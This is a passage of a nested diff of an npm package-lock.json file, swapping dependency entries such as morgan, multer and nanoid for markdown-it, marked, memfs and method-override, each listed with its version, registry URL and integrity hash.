++ "integrity": "sha512-9TxCFG+VRpl14HOHgABHYmC5GvpCY7LYqyTefOXd4GtI07oXCiJ7W5fEvk3SJKBctlbjhKbzjB5qOZMQpacEUQ==",
++ "requires": {
++ "bluebird": "^3.4.0",
++ "lodash": "^4.17.14",
++ "request": "^2.88.0",
++ "tar": "^4.0.2"
+ },
+ "dependencies": {
+- "ms": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
++ "fs-minipass": {
++ "version": "1.2.7",
++ "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
++ "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
++ "requires": {
++ "minipass": "^2.6.0"
++ }
+ },
+- "optional-require": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.0.3.tgz",
+- "integrity": "sha512-RV2Zp2MY2aeYK5G+B/Sps8lW5NHAzE5QClbFP15j+PWmP+T9PxlJXBOOLoSAdgwFvS4t0aMR4vpedMkbHfh0nA=="
++ "minimist": {
++ "version": "1.2.5",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
++ },
++ "minipass": {
++ "version": "2.9.0",
++ "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
++ "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
++ "requires": {
++ "safe-buffer": "^5.1.2",
++ "yallist": "^3.0.0"
++ }
++ },
++ "minizlib": {
++ "version": "1.3.3",
++ "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
++ "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
++ "requires": {
++ "minipass": "^2.9.0"
++ }
++ },
++ "mkdirp": {
++ "version": "0.5.5",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
++ "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
++ "requires": {
++ "minimist": "^1.2.5"
++ }
+ },
+ "safe-buffer": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
++ },
++ "tar": {
++ "version": "4.4.19",
++ "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz",
++ "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==",
++ "requires": {
++ "chownr": "^1.1.4",
++ "fs-minipass": "^1.2.7",
++ "minipass": "^2.9.0",
++ "minizlib": "^1.3.3",
++ "mkdirp": "^0.5.5",
++ "safe-buffer": "^5.2.1",
++ "yallist": "^3.1.1"
++ }
+ }
+ }
+ },
+- "mongoose-legacy-pluralize": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/mongoose-legacy-pluralize/-/mongoose-legacy-pluralize-1.0.2.tgz",
+- "integrity": "sha512-Yo/7qQU4/EyIS8YDFSeenIvXxZN+ld7YdV9LqFVQJzTLye8unujAWPZ4NWKfFA+RNjh+wvTWKY9Z3E5XM6ZZiQ==",
+- "requires": {}
+- },
+- "morgan": {
+- "version": "1.10.0",
+- "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz",
+- "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==",
++ "make-dir": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
++ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+ "requires": {
+- "basic-auth": "~2.0.1",
+- "debug": "2.6.9",
+- "depd": "~2.0.0",
+- "on-finished": "~2.3.0",
+- "on-headers": "~1.0.2"
++ "pify": "^4.0.1",
++ "semver": "^5.6.0"
+ },
+ "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "depd": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
++ "pify": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
++ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+ },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ "semver": {
++ "version": "5.7.1",
++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+ }
+ }
+ },
+- "mpath": {
+- "version": "0.8.4",
+- "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz",
+- "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g=="
++ "mandrill-api": {
++ "version": "1.0.45",
++ "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz",
++ "integrity": "sha1-Fjk5z0hr0YJ3sPO69BLD5l2Epy0="
+ },
+- "mquery": {
+- "version": "3.2.5",
+- "resolved": "https://registry.npmjs.org/mquery/-/mquery-3.2.5.tgz",
+- "integrity": "sha512-VjOKHHgU84wij7IUoZzFRU07IAxd5kWJaDmyUzQlbjHjyoeK5TNeeo8ZsFDtTYnSgpW6n/nMNIHvE3u8Lbrf4A==",
++ "markdown-it": {
++ "version": "12.3.2",
++ "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz",
++ "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==",
++ "dev": true,
+ "requires": {
+- "bluebird": "3.5.1",
+- "debug": "3.1.0",
+- "regexp-clone": "^1.0.0",
+- "safe-buffer": "5.1.2",
+- "sliced": "1.0.1"
++ "argparse": "^2.0.1",
++ "entities": "~2.1.0",
++ "linkify-it": "^3.0.1",
++ "mdurl": "^1.0.1",
++ "uc.micro": "^1.0.5"
+ },
+ "dependencies": {
+- "bluebird": {
+- "version": "3.5.1",
+- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz",
+- "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA=="
+- },
+- "debug": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
+- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ "entities": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz",
++ "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==",
++ "dev": true
+ }
+ }
+ },
+- "ms": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+- "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
++ "markdown-it-anchor": {
++ "version": "8.4.1",
++ "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-8.4.1.tgz",
++ "integrity": "sha512-sLODeRetZ/61KkKLJElaU3NuU2z7MhXf12Ml1WJMSdwpngeofneCRF+JBbat8HiSqhniOMuTemXMrsI7hA6XyA==",
++ "dev": true,
++ "requires": {}
+ },
+- "multer": {
+- "version": "1.4.4",
+- "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.4.tgz",
+- "integrity": "sha512-2wY2+xD4udX612aMqMcB8Ws2Voq6NIUPEtD1be6m411T4uDH/VtL9i//xvcyFlTVfRdaBsk7hV5tgrGQqhuBiw==",
++ "markdown-link": {
++ "version": "0.1.1",
++ "resolved": "https://registry.npmjs.org/markdown-link/-/markdown-link-0.1.1.tgz",
++ "integrity": "sha1-MsXGUZmmRXMWMi0eQinRNAfIx88=",
++ "dev": true
++ },
++ "markdown-toc": {
++ "version": "1.2.0",
++ "resolved": "https://registry.npmjs.org/markdown-toc/-/markdown-toc-1.2.0.tgz",
++ "integrity": "sha512-eOsq7EGd3asV0oBfmyqngeEIhrbkc7XVP63OwcJBIhH2EpG2PzFcbZdhy1jutXSlRBBVMNXHvMtSr5LAxSUvUg==",
++ "dev": true,
+ "requires": {
+- "append-field": "^1.0.0",
+- "busboy": "^0.2.11",
+ "concat-stream": "^1.5.2",
+- "mkdirp": "^0.5.4",
+- "object-assign": "^4.1.1",
+- "on-finished": "^2.3.0",
+- "type-is": "^1.6.4",
+- "xtend": "^4.0.0"
++ "diacritics-map": "^0.1.0",
++ "gray-matter": "^2.1.0",
++ "lazy-cache": "^2.0.2",
++ "list-item": "^1.1.1",
++ "markdown-link": "^0.1.1",
++ "minimist": "^1.2.0",
++ "mixin-deep": "^1.1.3",
++ "object.pick": "^1.2.0",
++ "remarkable": "^1.7.1",
++ "repeat-string": "^1.6.1",
++ "strip-color": "^0.1.0"
+ },
+ "dependencies": {
+ "concat-stream": {
+ "version": "1.6.2",
+ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+ "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
++ "dev": true,
+ "requires": {
+ "buffer-from": "^1.0.0",
+ "inherits": "^2.0.3",
+@@ -57911,25 +46383,20 @@
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
++ "dev": true
+ },
+ "minimist": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- },
+- "mkdirp": {
+- "version": "0.5.5",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+- "requires": {
+- "minimist": "^1.2.5"
+- }
++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
++ "dev": true
+ },
+ "readable-stream": {
+ "version": "2.3.7",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
++ "dev": true,
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+@@ -57944,502 +46411,331 @@
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
++ "dev": true,
+ "requires": {
+ "safe-buffer": "~5.1.0"
+ }
+ }
+ }
+ },
+- "multicast-dns": {
+- "version": "6.2.3",
+- "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz",
+- "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==",
+- "devOptional": true,
+- "requires": {
+- "dns-packet": "^1.3.1",
+- "thunky": "^1.0.2"
+- }
+- },
+- "multicast-dns-service-types": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz",
+- "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=",
+- "devOptional": true
+- },
+- "mute-stream": {
+- "version": "0.0.8",
+- "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
+- "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="
++ "marked": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/marked/-/marked-4.1.0.tgz",
++ "integrity": "sha512-+Z6KDjSPa6/723PQYyc1axYZpYYpDnECDaU6hkaf5gqBieBkMKYReL5hteF2QizhlMbgbo8umXl/clZ67+GlsA=="
+ },
+- "mv": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz",
+- "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=",
+- "optional": true,
++ "match-sorter": {
++ "version": "6.3.1",
++ "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz",
++ "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==",
+ "requires": {
+- "mkdirp": "~0.5.1",
+- "ncp": "~2.0.0",
+- "rimraf": "~2.4.0"
+- },
+- "dependencies": {
+- "glob": {
+- "version": "6.0.4",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz",
+- "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=",
+- "optional": true,
+- "requires": {
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "2 || 3",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- }
+- },
+- "rimraf": {
+- "version": "2.4.5",
+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz",
+- "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=",
+- "optional": true,
+- "requires": {
+- "glob": "^6.0.1"
+- }
+- }
++ "@babel/runtime": "^7.12.5",
++ "remove-accents": "0.4.2"
+ }
+ },
+- "namespace-emitter": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/namespace-emitter/-/namespace-emitter-2.0.1.tgz",
+- "integrity": "sha512-N/sMKHniSDJBjfrkbS/tpkPj4RAbvW3mr8UAzvlMHyun93XEm83IAvhWtJVHo+RHn/oO8Job5YN4b+wRjSVp5g=="
++ "math-log2": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/math-log2/-/math-log2-1.0.1.tgz",
++ "integrity": "sha1-+4lBvl9evol55xjmJzsXjlhpRWU="
+ },
+- "nan": {
+- "version": "2.15.0",
+- "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz",
+- "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ=="
++ "math-random": {
++ "version": "1.0.4",
++ "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz",
++ "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A==",
++ "dev": true
+ },
+- "nanoclone": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/nanoclone/-/nanoclone-0.2.1.tgz",
+- "integrity": "sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA=="
++ "mathjax": {
++ "version": "2.7.9",
++ "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz",
++ "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ=="
+ },
+- "nanoid": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz",
+- "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==",
++ "mdurl": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
++ "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=",
+ "dev": true
+ },
+- "nanomatch": {
+- "version": "1.2.13",
+- "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
+- "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
++ "media-typer": {
++ "version": "0.3.0",
++ "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
++ "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
++ },
++ "memfs": {
++ "version": "3.4.1",
++ "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz",
++ "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==",
++ "devOptional": true,
+ "requires": {
+- "arr-diff": "^4.0.0",
+- "array-unique": "^0.3.2",
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "fragment-cache": "^0.2.1",
+- "is-windows": "^1.0.2",
+- "kind-of": "^6.0.2",
+- "object.pick": "^1.3.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "dependencies": {
+- "extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "requires": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- }
+- },
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- }
++ "fs-monkey": "1.0.3"
+ }
+ },
+- "native-promise-only": {
+- "version": "0.8.1",
+- "resolved": "https://registry.npmjs.org/native-promise-only/-/native-promise-only-0.8.1.tgz",
+- "integrity": "sha1-IKMYwwy0X3H+et+/eyHJnBRy7xE="
++ "memoize-one": {
++ "version": "5.2.1",
++ "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz",
++ "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q=="
+ },
+- "native-request": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz",
+- "integrity": "sha512-uZ5rQaeRn15XmpgE0xoPL8YWqcX90VtCFglYwAgkvKM5e8fog+vePLAhHxuuv/gRkrQxIeh5U3q9sMNUrENqWw==",
+- "dev": true,
++ "memory-pager": {
++ "version": "1.5.0",
++ "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
++ "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==",
+ "optional": true
+ },
+- "natural-compare": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+- "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=",
++ "memorystream": {
++ "version": "0.3.1",
++ "resolved": "https://registry.npmjs.org/memorystream/-/memorystream-0.3.1.tgz",
++ "integrity": "sha1-htcJCzDORV1j+64S3aUaR93K+bI=",
+ "dev": true
+ },
+- "ncp": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz",
+- "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=",
+- "optional": true
+- },
+- "negotiator": {
+- "version": "0.6.3",
+- "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+- "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
+- },
+- "neo-async": {
+- "version": "2.6.2",
+- "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+- "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
++ "mensch": {
++ "version": "0.3.4",
++ "resolved": "https://registry.npmjs.org/mensch/-/mensch-0.3.4.tgz",
++ "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==",
++ "dev": true
+ },
+- "next-tick": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz",
+- "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw="
++ "merge-descriptors": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
++ "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
+ },
+- "ngcomponent": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/ngcomponent/-/ngcomponent-4.1.0.tgz",
+- "integrity": "sha512-cGL3iVoqMWTpCfaIwgRKhdaGqiy2Z+CCG0cVfjlBvdqE8saj8xap9B4OTf+qwObxLVZmDTJPDgx3bN6Q/lZ7BQ==",
+- "requires": {
+- "@types/angular": "^1.6.39",
+- "@types/lodash": "^4.14.85",
+- "angular": ">=1.5.0",
+- "lodash": "^4.17.4"
+- }
++ "merge-stream": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
++ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
+ },
+- "nice-try": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
+- "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
++ "merge2": {
++ "version": "1.4.1",
++ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
++ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
++ "devOptional": true
+ },
+- "nise": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz",
+- "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==",
+- "dev": true,
++ "method-override": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/method-override/-/method-override-3.0.0.tgz",
++ "integrity": "sha512-IJ2NNN/mSl9w3kzWB92rcdHpz+HjkxhDJWNDBqSlas+zQdP8wBiJzITPg08M/k2uVvMow7Sk41atndNtt/PHSA==",
+ "requires": {
+- "@sinonjs/commons": "^1.7.0",
+- "@sinonjs/fake-timers": "^6.0.0",
+- "@sinonjs/text-encoding": "^0.7.1",
+- "just-extend": "^4.0.2",
+- "path-to-regexp": "^1.7.0"
++ "debug": "3.1.0",
++ "methods": "~1.1.2",
++ "parseurl": "~1.3.2",
++ "vary": "~1.1.2"
+ },
+ "dependencies": {
+- "isarray": {
+- "version": "0.0.1",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+- "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=",
+- "dev": true
+- },
+- "path-to-regexp": {
+- "version": "1.8.0",
+- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
+- "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
+- "dev": true,
++ "debug": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
++ "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "requires": {
+- "isarray": "0.0.1"
++ "ms": "2.0.0"
+ }
++ },
++ "ms": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+ }
+ }
+ },
+- "no-case": {
+- "version": "3.0.4",
+- "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
+- "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+- "dev": true,
+- "requires": {
+- "lower-case": "^2.0.2",
+- "tslib": "^2.0.3"
+- }
++ "methods": {
++ "version": "1.1.2",
++ "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
++ "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
+ },
+- "nocache": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/nocache/-/nocache-2.1.0.tgz",
